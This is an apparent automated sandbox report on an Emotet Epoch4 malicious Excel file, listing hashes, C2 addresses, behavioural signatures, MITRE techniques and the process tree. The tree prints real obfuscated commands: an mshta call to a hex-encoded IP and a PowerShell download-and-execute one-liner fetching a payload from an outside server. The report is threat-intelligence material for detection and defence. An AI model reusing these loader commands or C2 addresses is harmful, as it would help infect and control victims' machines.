emotet | a1d4e9c497ec94e9c1182741b7096c47396c0057014747c17e618e82538eae72

General

Target

a1d4e9c497ec94e9c1182741b7096c47396c0057014747c17e618e82538eae72.xls
Size

142KB
MD5

93de92f3e2868b196ea53446264d69e9
SHA1

5a222d7fc81852ec5fb1ca0abca5fb7810e97299
SHA256

a1d4e9c497ec94e9c1182741b7096c47396c0057014747c17e618e82538eae72
SHA512

e0e3a2ca736ff74a5d756867a8c0418415a0f74fbb134ff09da468fe20a11c105ad9a230b8b05b9b3b45967f5afaedf1243f1f451c078bdc96d04adca7cc994e

Score

10^/10

emotet epoch4 banker suricata trojan

Malware Config

Extracted

Language

hta

Source

URLs

hta.dropper

http://0xb907d607/fer/fer.html

Extracted

Language

ps1

Deobfuscated

URLs

ps1.dropper

http://185.7.214.7/fer/fer.png

Extracted

Family

emotet

Botnet

Epoch4

C2

131.100.24.231:80

209.59.138.75:7080

103.8.26.103:8080

51.38.71.0:443

212.237.17.99:8080

79.172.212.216:8080

207.38.84.195:8080

104.168.155.129:8080

178.79.147.66:8080

46.55.222.11:443

103.8.26.102:8080

192.254.71.210:443

45.176.232.124:443

203.114.109.124:443

51.68.175.8:8080

58.227.42.236:80

45.142.114.231:8080

217.182.143.207:443

178.63.25.185:443

45.118.115.99:8080

eck1.plain

ecs1.plain

Signatures

Emotet
Emotet is a trojan that is primarily spread through spam emails.
trojan banker emotet

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE is not expected to spawn this process	4892	3500	cmd.exe	67

suricata: ET MALWARE W32/Emotet CnC Beacon 3
suricata: ET MALWARE W32/Emotet CnC Beacon 3
suricata

Blocklisted process makes network request 5 IoCs

flow	pid	Process
23	972	mshta.exe
35	4276	powershell.exe
39	4276	powershell.exe
48	2876	rundll32.exe
50	2876	rundll32.exe

Downloads MZ/PE file

Loads dropped DLL 2 IoCs

pid	Process
2968	rundll32.exe
1904	rundll32.exe

Drops file in System32 directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\SysWOW64\Utgigcafuvtbl\ifoulwrkfb.psz	rundll32.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Program crash 1 IoCs

pid	pid_target	Process	procid_target
4268	972	WerFault.exe	74

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	EXCEL.EXE
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	EXCEL.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	EXCEL.EXE

Suspicious behavior: AddClipboardFormatListener 1 IoCs

pid	Process
3500	EXCEL.EXE

Suspicious behavior: EnumeratesProcesses 19 IoCs

pid	Process
4276	powershell.exe
4276	powershell.exe
4268	WerFault.exe
4268	WerFault.exe
4268	WerFault.exe
4268	WerFault.exe
4268	WerFault.exe
4268	WerFault.exe
4268	WerFault.exe
4268	WerFault.exe
4268	WerFault.exe
4268	WerFault.exe
4268	WerFault.exe
4268	WerFault.exe
4268	WerFault.exe
4268	WerFault.exe
4276	powershell.exe
2876	rundll32.exe
2876	rundll32.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

description	pid	Process
Token: SeDebugPrivilege	4276	powershell.exe
Token: SeDebugPrivilege	4268	WerFault.exe

Suspicious use of SetWindowsHookEx 13 IoCs

pid	Process
3500	EXCEL.EXE
3500	EXCEL.EXE
3500	EXCEL.EXE
3500	EXCEL.EXE
3500	EXCEL.EXE
3500	EXCEL.EXE
3500	EXCEL.EXE
3500	EXCEL.EXE
3500	EXCEL.EXE
3500	EXCEL.EXE
3500	EXCEL.EXE
3500	EXCEL.EXE
3500	EXCEL.EXE

Suspicious use of WriteProcessMemory 22 IoCs

description	pid	Process	procid_target
PID 3500 wrote to memory of 2992	3500	EXCEL.EXE	70
PID 3500 wrote to memory of 2992	3500	EXCEL.EXE	70
PID 3500 wrote to memory of 4892	3500	EXCEL.EXE	72
PID 3500 wrote to memory of 4892	3500	EXCEL.EXE	72
PID 4892 wrote to memory of 972	4892	cmd.exe	74
PID 4892 wrote to memory of 972	4892	cmd.exe	74
PID 972 wrote to memory of 4276	972	mshta.exe	77
PID 972 wrote to memory of 4276	972	mshta.exe	77
PID 4276 wrote to memory of 1728	4276	powershell.exe	79
PID 4276 wrote to memory of 1728	4276	powershell.exe	79
PID 1728 wrote to memory of 2968	1728	cmd.exe	80
PID 1728 wrote to memory of 2968	1728	cmd.exe	80
PID 1728 wrote to memory of 2968	1728	cmd.exe	80
PID 2968 wrote to memory of 1904	2968	rundll32.exe	81
PID 2968 wrote to memory of 1904	2968	rundll32.exe	81
PID 2968 wrote to memory of 1904	2968	rundll32.exe	81
PID 1904 wrote to memory of 2904	1904	rundll32.exe	82
PID 1904 wrote to memory of 2904	1904	rundll32.exe	82
PID 1904 wrote to memory of 2904	1904	rundll32.exe	82
PID 2904 wrote to memory of 2876	2904	rundll32.exe	83
PID 2904 wrote to memory of 2876	2904	rundll32.exe	83
PID 2904 wrote to memory of 2876	2904	rundll32.exe	83

C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE
"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\a1d4e9c497ec94e9c1182741b7096c47396c0057014747c17e618e82538eae72.xls"
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:3500
- C:\Windows\splwow64.exe
  C:\Windows\splwow64.exe 12288
  2⤵
  PID:2992
- C:\Windows\SYSTEM32\cmd.exe
  cmd /c m^sh^t^a h^tt^p^:/^/0xb907d607/fer/fer.html
  2⤵
  - Process spawned unexpected child process
  - Suspicious use of WriteProcessMemory
  PID:4892
- - C:\Windows\system32\mshta.exe
    mshta http://0xb907d607/fer/fer.html
    3⤵
    - Blocklisted process makes network request
    - Suspicious use of WriteProcessMemory
    PID:972
  - - C:\Windows\system32\WerFault.exe
      C:\Windows\system32\WerFault.exe -u -p 972 -s 1648
      4⤵
      Program crash
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:4268
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noexit $c1='({GOOGLE}{GOOGLE}Ne{GOOGLE}{GOOGLE}w{GOOGLE}-Obj{GOOGLE}ec{GOOGLE}{GOOGLE}t N{GOOGLE}{GOOGLE}et{GOOGLE}.W{GOOGLE}{GOOGLE}e'.replace('{GOOGLE}', ''); $c4='bC{GOOGLE}li{GOOGLE}{GOOGLE}en{GOOGLE}{GOOGLE}t).D{GOOGLE}{GOOGLE}ow{GOOGLE}{GOOGLE}nl{GOOGLE}{GOOGLE}{GOOGLE}o'.replace('{GOOGLE}', ''); $c3='ad{GOOGLE}{GOOGLE}St{GOOGLE}rin{GOOGLE}{GOOGLE}g{GOOGLE}(''ht{GOOGLE}tp{GOOGLE}://185.7.214.7/fer/fer.png'')'.replace('{GOOGLE}', '');$JI=($c1,$c4,$c3 -Join '');I`E`X $JI|I`E`X
      4⤵
      Blocklisted process makes network request
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      Suspicious use of WriteProcessMemory
      PID:4276
    - - C:\Windows\system32\cmd.exe
        
        "C:\Windows\system32\cmd.exe" /c C:\Windows\SysWow64\rundll32.exe C:\Users\Public\Documents\ssd.dll,AnyString
        5⤵
        Suspicious use of WriteProcessMemory
        
        PID:1728
      - C:\Windows\SysWow64\rundll32.exe
        
        C:\Windows\SysWow64\rundll32.exe C:\Users\Public\Documents\ssd.dll,AnyString
        6⤵
        Loads dropped DLL
        Suspicious use of WriteProcessMemory
        
        PID:2968
        
        C:\Windows\SysWOW64\rundll32.exe
        
        C:\Windows\SysWOW64\rundll32.exe "C:\Users\Public\Documents\ssd.dll",DllRegisterServer
        7⤵
        Loads dropped DLL
        Drops file in System32 directory
        Suspicious use of WriteProcessMemory
        
        PID:1904
        
        C:\Windows\SysWOW64\rundll32.exe
        
        C:\Windows\SysWOW64\rundll32.exe "C:\Windows\SysWOW64\Utgigcafuvtbl\ifoulwrkfb.psz",NlEP
        8⤵
        Suspicious use of WriteProcessMemory
        
        PID:2904
        
        C:\Windows\SysWOW64\rundll32.exe
        
        C:\Windows\SysWOW64\rundll32.exe "C:\Windows\System32\Utgigcafuvtbl\ifoulwrkfb.psz",DllRegisterServer
        9⤵
        Blocklisted process makes network request
        Suspicious behavior: EnumeratesProcesses
        
        PID:2876

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

2

T1012

System Information Discovery

3

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

memory/1904-350-0x0000000004D40000-0x0000000004D66000-memory.dmp

Filesize
152KB

Download
memory/1904-353-0x0000000004EA0000-0x0000000004EC6000-memory.dmp

Filesize
152KB

Download
memory/1904-348-0x0000000004CE0000-0x0000000004D06000-memory.dmp

Filesize
152KB

Download
memory/1904-346-0x0000000004B40000-0x0000000004B66000-memory.dmp

Filesize
152KB

Download
memory/1904-344-0x0000000004A40000-0x0000000004A66000-memory.dmp

Filesize
152KB

Download
memory/1904-341-0x0000000004440000-0x0000000004466000-memory.dmp

Filesize
152KB

Download
memory/2876-358-0x0000000005270000-0x0000000005296000-memory.dmp

Filesize
152KB

Download
memory/2876-355-0x0000000003490000-0x00000000034B6000-memory.dmp

Filesize
152KB

Download
memory/2904-352-0x00000000040C0000-0x00000000040E6000-memory.dmp

Filesize
152KB

Download
memory/2968-339-0x0000000004920000-0x0000000004946000-memory.dmp

Filesize
152KB

Download
memory/3500-116-0x00007FFBCE9E0000-0x00007FFBCE9F0000-memory.dmp

Filesize
64KB

Download
memory/3500-129-0x00007FFBCBCE0000-0x00007FFBCBCF0000-memory.dmp

Filesize
64KB

Download
memory/3500-118-0x00007FFBCE9E0000-0x00007FFBCE9F0000-memory.dmp

Filesize
64KB

Download
memory/3500-119-0x00007FFBCE9E0000-0x00007FFBCE9F0000-memory.dmp

Filesize
64KB

Download
memory/3500-396-0x00007FFBCE9E0000-0x00007FFBCE9F0000-memory.dmp

Filesize
64KB

Download
memory/3500-117-0x00007FFBCE9E0000-0x00007FFBCE9F0000-memory.dmp

Filesize
64KB

Download
memory/3500-395-0x00007FFBCE9E0000-0x00007FFBCE9F0000-memory.dmp

Filesize
64KB

Download
memory/3500-394-0x00007FFBCE9E0000-0x00007FFBCE9F0000-memory.dmp

Filesize
64KB

Download
memory/3500-115-0x00007FFBCE9E0000-0x00007FFBCE9F0000-memory.dmp

Filesize
64KB

Download
memory/3500-393-0x00007FFBCE9E0000-0x00007FFBCE9F0000-memory.dmp

Filesize
64KB

Download
memory/3500-128-0x00007FFBCBCE0000-0x00007FFBCBCF0000-memory.dmp

Filesize
64KB

Download
memory/4276-323-0x000002474EFC0000-0x000002474EFC2000-memory.dmp

Filesize
8KB

Download
memory/4276-288-0x0000024736C50000-0x0000024736C72000-memory.dmp

Filesize
136KB

Download
memory/4276-307-0x000002474EF50000-0x000002474EF8C000-memory.dmp

Filesize
240KB

Download
memory/4276-318-0x000002474F580000-0x000002474F5F6000-memory.dmp

Filesize
472KB

Download
memory/4276-324-0x000002474EFC3000-0x000002474EFC5000-memory.dmp

Filesize
8KB

Download
memory/4276-325-0x000002474EFC6000-0x000002474EFC8000-memory.dmp

Filesize
8KB

Download

Analysis

Sharing

General

Malware Config

Extracted

Extracted

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v6

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Downloads